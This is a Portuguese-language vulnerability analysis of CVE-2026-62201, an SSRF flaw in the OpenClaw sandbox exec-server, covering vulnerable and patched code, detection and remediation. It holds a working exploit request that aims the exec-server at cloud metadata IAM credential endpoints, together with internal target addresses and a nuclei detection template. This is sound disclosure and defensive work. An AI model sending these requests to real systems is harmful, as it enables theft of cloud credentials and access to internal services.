
Análise aprofundada do CVE-2026-62201: bypass da política de rede do exec-server do sandbox OpenClaw (SSRF). Causa raiz, código vulnerável vs corrigido, exploração, detecção, remediação.
| Campo | Valor |
|---|
| Advisory | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Produto | OpenClaw (pacote npm openclaw) — componente sandbox exec-server |
| Afetado | openclaw < 2026.6.6 |
| Corrigido | 2026.6.6 e versões posteriores |
| Causa raiz | Validação SSRF ausente no helper HTTP embutido do exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Commit da correção | 21410d1c — "fix(codex): guard sandbox http requests" |
| Vetor de ataque | HTTP POST para o handler http/request do exec-server com uma URL controlada pelo atacante |
| Impacto | Um chamador de baixo privilégio alcança destinos de rede internos (metadados de nuvem, IPs privados, serviços localhost) que a política de rede do OpenClaw deveria bloquear |
O OpenClaw é uma plataforma de agentes de IA cujo sandbox exec-server expõe um helper de requisições HTTP que os agentes usam para fazer chamadas web de saída. Versões anteriores à 2026.6.6 distribuíram esse helper sem proteção SSRF: um chamador de menor confiança — qualquer agente, ferramenta ou caminho de entrada que a plataforma considere menos confiável que um operador de gateway — podia enviar uma URL arbitrária e fazer o exec-server buscá-la de dentro da rede do host.
As verificações de política de rede aplicadas ao egresso direto do sandbox não foram aplicadas quando as requisições transitavam pela interface HTTP do exec-server. Essa inconsistência é a vulnerabilidade: o exec-server atuava como um proxy HTTP irrestrito para a rede interna.
Quando o OpenClaw executa um agente Codex em um sandbox, ele inicia um exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) que hospeda métodos JSON-RPC sobre um transporte WebSocket/HTTP. Um desses métodos, http/request, permite que o agente busque URLs. A implementação canaliza a requisição através de um pequeno script Python embutido — SANDBOX_HTTP_REQUEST_SCRIPT — que faz o trabalho real de urllib.
O handler de requisições está em extensions/codex/src/app-server/sandbox-exec-server/http.ts.
O helper Python recebia a URL e apenas verificava o esquema:
# De [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (resumido)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Essa é a única barreira. Não havia:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ era seguido cegamenteResultado: {"method":"GET","url":"http://<host-interno>/"} retornava o corpo da resposta interna ao chamador. O exec-server era um proxy aberto para a rede do host.
O commit 21410d1c adicionou defesa em profundidade em ambas as camadas:
Camada 1 — Pré-verificação em TypeScript (assertSandboxHttpRequestTargetAllowed em http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Camada 2 — Reforço do helper Python (assert_url_allowed no script embutido):
localhost, localhost.localdomain, metadata.google.internal, além dos sufixos *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentação 2001:db8::/32, e outrasipaddress: loopback, privado, link-local, multicast, reservado, não especificadoGuardedRedirectHandler: cada salto de redirecionamento reexecuta assert_url_allowed antes de ser seguido::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP são desembrulhadas e seu IPv4 embutido é verificadodef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 com o sandbox exec-server habilitadohttp/request (a plataforma trata isso como acesso de baixo privilégio — por exemplo, um plugin, uma ferramenta ou um caminho de entrada, não um operador de gateway)Passo 1 — Envie uma requisição direcionada a um serviço interno:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Passo 2 — Resposta vulnerável (HTTP 200):
O exec-server buscou a URL interna e retornou o corpo ao chamador — encapsulado em base64 como bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Decodificado:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Passo 3 — Resposta corrigida (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
O destino interno fica inacessível através do exec-server nas versões corrigidas.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenciais IAMhttp://127.0.0.1:<porta>/ para atingir interfaces de gerenciamento não autenticadas co-localizadasCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Alta
O enquadramento do advisory é importante: o modelo de operador confiável do OpenClaw assume que operadores de gateway são confiáveis. O bug é que uma superfície de menor confiança (plugins, ferramentas, caminhos de entrada) podia alcançar destinos que a política deveria ter bloqueado.
Um template de detecção está disponível — baseado em OAST, sem exigir conhecimento prévio da topologia interna:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Enviado upstream: projectdiscovery/nuclei-templates#17183
/exec/http (ou o equivalente JSON-RPC via WebSocket) cujo corpo JSON contém um campo url apontando para destinos privados/internos169.254.169.254, 100.100.100.200)npm install [email protected] (ou posterior). A correção adiciona validação SSRF completa tanto na fronteira TS quanto dentro do helper Python.2026.6.6Esta pesquisa foi conduzida contra dados de vulnerabilidades divulgados publicamente e software implantado em um laboratório isolado. Nenhum sistema de produção ativo, redes de terceiros ou pesquisa de zero-day estão envolvidos. Todos os PoCs usados aqui são requisições inofensivas somente de leitura.